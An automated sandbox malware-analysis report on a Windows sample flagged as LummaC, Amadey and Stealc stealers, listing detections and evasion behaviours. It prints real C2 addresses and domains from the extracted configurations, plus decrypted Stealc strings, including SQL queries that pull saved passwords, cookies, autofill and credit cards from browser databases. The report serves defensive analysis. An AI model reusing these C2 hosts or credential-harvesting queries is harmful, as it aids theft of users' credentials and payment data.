Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1545823
MD5: b780913de1c9d2a04a8cb5ce458255cf
SHA1: c9d6cb973eafac2763ed7ceff65ecda83729258e
SHA256: 15952521ff76d233a2a4ab1700dc4a27933d34bcd59a3f9525497a6acd768d1d
Tags: exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Amadeys stealer DLL
Yara detected Credential Flusher
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Stealc
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
C2 URLs / IPs found in malware configuration
Creates multiple autostart registry keys
Disable Windows Defender notifications (registry)
Disable Windows Defender real time protection (registry)
Disables Windows Defender Tamper protection
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
LummaC encrypted strings found
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies windows update settings
PE file contains section with special chars
PE file has a writeable .text section
Query firmware table information (likely to detect VMs)
Sample uses string decryption to hide its real strings
Sigma detected: New RUN Key Pointing to Suspicious Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Connects to many different domains
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Searches for user specific document files
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Sigma detected: CurrentVersion Autorun Keys Modification
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Uses taskkill to terminate processes
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
Lumma Stealer, LummaC2 Stealer Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: file.exe Avira: detected
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Found malware configuration
Source: 00000020.00000003.2745547028.0000000004D70000.00000004.00001000.00020000.00000000.sdmp Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: file.exe.6996.0.memstrmin Malware Configuration Extractor: LummaC {"C2 url": ["fadehairucw.store", "thumbystriw.store", "necklacedmny.store", "scriptyprefej.store", "crisiwarny.store", "presticitpo.store", "navygenerayk.store", "founpiuer.store"], "Build id": "4SD0y4--legendaryy"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe ReversingLabs: Detection: 34%
Multi AV Scanner detection for submitted file
Source: file.exe Virustotal: Detection: 51% Perma Link
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 99.8% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: INSERT_KEY_HERE
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: 30
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: 11
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: 20
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: 24
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetProcAddress
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: LoadLibraryA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: lstrcatA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: OpenEventA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: CreateEventA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: CloseHandle
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Sleep
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetUserDefaultLangID
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: VirtualAllocExNuma
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: VirtualFree
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetSystemInfo
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: VirtualAlloc
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: HeapAlloc
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetComputerNameA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: lstrcpyA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetProcessHeap
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetCurrentProcess
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: lstrlenA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: ExitProcess
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GlobalMemoryStatusEx
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetSystemTime
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: SystemTimeToFileTime
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: advapi32.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: gdi32.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: user32.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: crypt32.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: ntdll.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetUserNameA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: CreateDCA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetDeviceCaps
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: ReleaseDC
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: CryptStringToBinaryA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: sscanf
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: VMwareVMware
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: HAL9TH
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: JohnDoe
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: DISPLAY
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: %hu/%hu/%hu
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: http://185.215.113.206
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: bksvnsj
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: /6c4adf523b719729.php
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: /746f34465cf17784/
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: tale
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetEnvironmentVariableA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetFileAttributesA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GlobalLock
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: HeapFree
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetFileSize
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GlobalSize
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: CreateToolhelp32Snapshot
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: IsWow64Process
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Process32Next
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetLocalTime
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: FreeLibrary
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetTimeZoneInformation
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetSystemPowerStatus
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetVolumeInformationA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetWindowsDirectoryA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Process32First
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetLocaleInfoA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetUserDefaultLocaleName
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetModuleFileNameA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: DeleteFileA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: FindNextFileA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: LocalFree
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: FindClose
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: SetEnvironmentVariableA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: LocalAlloc
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetFileSizeEx
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: ReadFile
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: SetFilePointer
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: WriteFile
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: CreateFileA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: FindFirstFileA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: CopyFileA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: VirtualProtect
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetLogicalProcessorInformationEx
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetLastError
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: lstrcpynA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: MultiByteToWideChar
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GlobalFree
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: WideCharToMultiByte
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GlobalAlloc
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: OpenProcess
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: TerminateProcess
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetCurrentProcessId
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: gdiplus.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: ole32.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: bcrypt.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: wininet.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: shlwapi.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: shell32.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: psapi.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: rstrtmgr.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: CreateCompatibleBitmap
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: SelectObject
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: BitBlt
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: DeleteObject
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: CreateCompatibleDC
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GdipGetImageEncodersSize
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GdipGetImageEncoders
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GdipCreateBitmapFromHBITMAP
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GdiplusStartup
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GdiplusShutdown
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GdipSaveImageToStream
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GdipDisposeImage
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GdipFree
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetHGlobalFromStream
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: CreateStreamOnHGlobal
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: CoUninitialize
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: CoInitialize
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: CoCreateInstance
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: BCryptGenerateSymmetricKey
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: BCryptCloseAlgorithmProvider
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: BCryptDecrypt
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: BCryptSetProperty
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: BCryptDestroyKey
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: BCryptOpenAlgorithmProvider
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetWindowRect
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetDesktopWindow
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetDC
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: CloseWindow
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: wsprintfA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: EnumDisplayDevicesA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetKeyboardLayoutList
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: CharToOemW
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: wsprintfW
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: RegQueryValueExA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: RegEnumKeyExA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: RegOpenKeyExA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: RegCloseKey
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: RegEnumValueA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: CryptBinaryToStringA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: CryptUnprotectData
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: SHGetFolderPathA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: ShellExecuteExA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: InternetOpenUrlA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: InternetConnectA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: InternetCloseHandle
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: InternetOpenA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: HttpSendRequestA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: HttpOpenRequestA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: InternetReadFile
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: InternetCrackUrlA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: StrCmpCA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: StrStrA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: StrCmpCW
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: PathMatchSpecA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: GetModuleFileNameExA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: RmStartSession
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: RmRegisterResources
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: RmGetList
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: RmEndSession
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: sqlite3_open
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: sqlite3_prepare_v2
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: sqlite3_step
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: sqlite3_column_text
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: sqlite3_finalize
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: sqlite3_close
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: sqlite3_column_bytes
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: sqlite3_column_blob
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: encrypted_key
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: PATH
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: C:\ProgramData\nss3.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: NSS_Init
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: NSS_Shutdown
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: PK11_GetInternalKeySlot
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: PK11_FreeSlot
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: PK11_Authenticate
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: PK11SDR_Decrypt
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: C:\ProgramData\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: browser:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: profile:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: url:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: login:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: password:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Opera
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: OperaGX
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Network
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: cookies
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: .txt
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: TRUE
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: FALSE
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: autofill
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: SELECT name, value FROM autofill
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: history
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: SELECT url FROM urls LIMIT 1000
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: cc
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: name:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: month:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: year:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: card:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Cookies
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Login Data
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Web Data
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: History
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: logins.json
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: formSubmitURL
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: usernameField
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: encryptedUsername
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: encryptedPassword
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: guid
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: cookies.sqlite
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: formhistory.sqlite
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: places.sqlite
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: plugins
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Local Extension Settings
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Sync Extension Settings
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: IndexedDB
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Opera Stable
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Opera GX Stable
